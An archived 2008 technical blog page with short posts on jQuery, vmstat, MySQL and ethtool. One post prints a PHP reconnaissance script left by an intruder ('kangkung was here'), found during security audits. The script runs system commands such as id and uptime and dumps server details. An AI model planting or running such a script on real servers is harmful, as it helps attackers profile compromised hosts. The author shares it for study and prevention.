Archives for August 2008

« Archives in August, 2008

Check username availability via AJAX with jQuery

August 28, 2008 / admin posted in code, javascript, jquery / No Comments

HTML
 <input class="textbox"name="UserName" id="UserNameInputID" type="text" /> <img decoding="async" src="loading.gif" alt="i" /> Checking… 
JavaScript
 $(“#loading”).hide(); var orig=$(“#loading”).html(); $(“#UserNameInputID”).blur(function() { $(“#loading”).html(orig); $(“#loading”).show(); loadTextPage(“loading”,”check.php?username=”+$(“#UserNameInputID”).val()); }); /** load a text page into this div */ function loadTextPage($pDivID,$pURL) { $.ajax({ url:$pURL, dataType:’html’, success:function (txt) { $(‘#’+$pDivID).html(txt); } });

Server-side check.php
 <?php if ($vAvailable) { echo 'Congrats! Your username is available'; } else { echo 'Sorry! Your username is not available'; } ?>

jQuery odd/even selector bug?

August 23, 2008 / admin posted in javascript jquery / No Comments

For some reason I have not been able to identify and test, this code would not work (show the same color or same color for subsequent rows, does not seem to have a pattern):

$("#tableid tbody tr:even").addClass("even");
$("#tableid tbody tr:odd").addClass("odd");

But this does work:

$("#tableid tbody tr:nth-child(even)").addClass("even");
$("#tableid tbody tr:nth-child(odd)").addClass("odd");

Any thought?

jQuery eq() typical mistake

August 22, 2008 / admin posted in code, javascript, jquery / 1 Comment

With all the open/close quote, you might write this code:

var i = 123;
$(":checkbox:eq(i)").removeAttr("disabled");

Since the selector string is within the quotes, the correct statement should be:

$(":checkbox:eq("+i+")").removeAttr("disabled");

vmstat – Get an overview look at your server

August 21, 2008 / admin posted in sysadmin / No Comments

Get an update every one second

[root@s14 trungson]# vmstat 1
procs -----------memory---------- ---swap-- -----io---- --system-- ----cpu----
 r  b   swpd   free   buff  cache   si   so    bi    bo   in    cs us sy id wa
 3  0  41200  33324   2152 1489108    0    0     4    27    0     1  5  3 91  0
 2  0  41200  33500   2152 1489108    0    0     8     0 1838  3320  8  4 88  0
 1  0  41200  31452   2152 1489176    0    0    32     0 1787  3078  7  4 89  0
 2  0  41200  33260   2152 1489176    0    0     8     0 1788  2895  6  4 90  0
 1  0  41200  33068   2164 1489164    0    0    32   768 2038  3207  7  4 87  2
 2  0  41200  33132   2168 1489228    0    0    32     0 2082  4422 10  5 85  0
 2  0  41200  35628   2172 1489360    0    0   148     0 1924  3658  8  5 86  1
 0  0  41200  34596   2172 1489360    0    0    16     0 1904  3531  8  5 87  0
 4  0  41200  28636   2172 1489428    0    0   116     0 1922  3732  9  5 85  1
 0  0  41200  33036   2180 1489488    0    0     8   860 2127  3828  8  5 86  1
 1  0  41200  32844   2180 1489488    0    0    20     0 1784  3108  7  5 88  0
 0  0  41200  32780   2180 1489556    0    0    24     0 1850  3108  7  4 88  0
 2  0  41200  32844   2180 1489692    0    0   120     0 1915  3842  9  5 85  0
 2  0  41200  26508   2180 1489828    0    0    32   376 1976  3744  8  6 86  0

From the man page:

Procs
  r: The number of processes waiting for run time.
  b: The number of processes in uninterruptible sleep.
Memory
  swpd: the amount of virtual memory used.
  free: the amount of idle memory.
  buff: the amount of memory used as buffers.
  cache: the amount of memory used as cache.
  inact: the amount of inactive memory. (-a option)
  active: the amount of active memory. (-a option)
Swap
  si: Amount of memory swapped in from disk (/s).
  so: Amount of memory swapped to disk (/s).
IO
  bi: Blocks received from a block device (blocks/s).
  bo: Blocks sent to a block device (blocks/s).
System
  in: The number of interrupts per second, including the clock.
  cs: The number of context switches per second.
CPU
  These are percentages of total CPU time.
  us: Time spent running non-kernel code. (user time, including nice time)
  sy: Time spent running kernel code. (system time)
  id: Time spent idle. Prior to Linux 2.5.41, this includes IO-wait time.
  wa: Time spent waiting for IO. Prior to Linux 2.5.41, shown as zero.

Duplicate value under Binlog_Do_DB

August 17, 2008 / admin posted in mysql / No Comments

If you see Binlog_Do_DB show duplicate values and you mention them only once in my.cnf. For example: db1,db2,db1,db2. You would suspect that something is reading your my.cnf twice. That would be correct as it’s a MySQL bug #20748

Some Hack Script

August 15, 2008 / admin posted in security / No Comments

After my fare share of performing security audit, these are some hacking script I found, not for the purpose of hacking, but for education, analysis and prevention.
 function ConvertBytes($number) { $len = strlen($number); if($len < 4) { return sprintf("%d b", $number); } if($len >= 4 && $len <=6) { return sprintf("%0.2f Kb", $number/1024); } if($len >= 7 && $len <=9) { return sprintf("%0.2f Mb", $number/1024/1024); } return sprintf("%0.2f Gb", $number/1024/1024/1024); } echo "kangkung “; $un = @php_uname(); $up = system(uptime); $id1 = system(id); $pwd1 = @getcwd(); $sof1 = getenv(“SERVER_SOFTWARE”); $php1 = phpversion(); $name1 = $_SERVER[‘SERVER_NAME’]; $ip1 = gethostbyname($SERVER_ADDR); $free1= diskfreespace($pwd1); $free = ConvertBytes(diskfreespace($pwd1)); if (!$free) {$free = 0;} $all1= disk_total_space($pwd1); $all = ConvertBytes(disk_total_space($pwd1)); if (!$all) {$all = 0;} $used = ConvertBytes($all1-$free1); $os = @PHP_OS; echo “kangkung was here .. “; echo “uname -a: $un “; echo “os: $os “; echo “uptime: $up “; echo “id: $id1 “; echo “pwd: $pwd1 “; echo “php: $php1 “; echo “software: $sof1 “; echo “server-name: $name1 “; echo “server-ip: $ip1 “; echo “free: $free “; echo “used: $used “; echo “total: $all “; exit;

Use ethtool or mii-tool to detect problems with ethernet card

August 13, 2008 / admin posted in sysadmin / No Comments

[root@s2 adserver]# ethtool eth0
Settings for eth0:
Supported ports: [ TP ]
Supported link modes: 10baseT/Half 10baseT/Full
                      100baseT/Half 100baseT/Full
                      1000baseT/Full
Supports auto-negotiation: Yes
Advertised link modes: 10baseT/Full
Advertised auto-negotiation: Yes
Speed: Unknown! (0)
Duplex: Half
Port: Twisted Pair
PHYAD: 0
Transceiver: internal
Auto-negotiation: on
Supports Wake-on: pumbg
Wake-on: g
Current message level: 0x00000033 (51)
Link detected: yes

You can also change the interface settings with ethtool.

[root@s2 adserver]# mii-tool
eth0: negotiated 10baseT-FD, link ok

Ad Server with AJAX

August 6, 2008 / admin posted in javascript / No Comments

Normally, JavaScript document.write is used by ad servers to write the ad code directly into the page (AdSense, AdSpeed, OpenX, etc.) To reload ads automatically without a page reload, we use AJAX with JSONP (JSON with padding). Partial content reloading uses DOM to update the content. jQuery 1.2.x has this built-in, or you can write your own library.

mathie's bits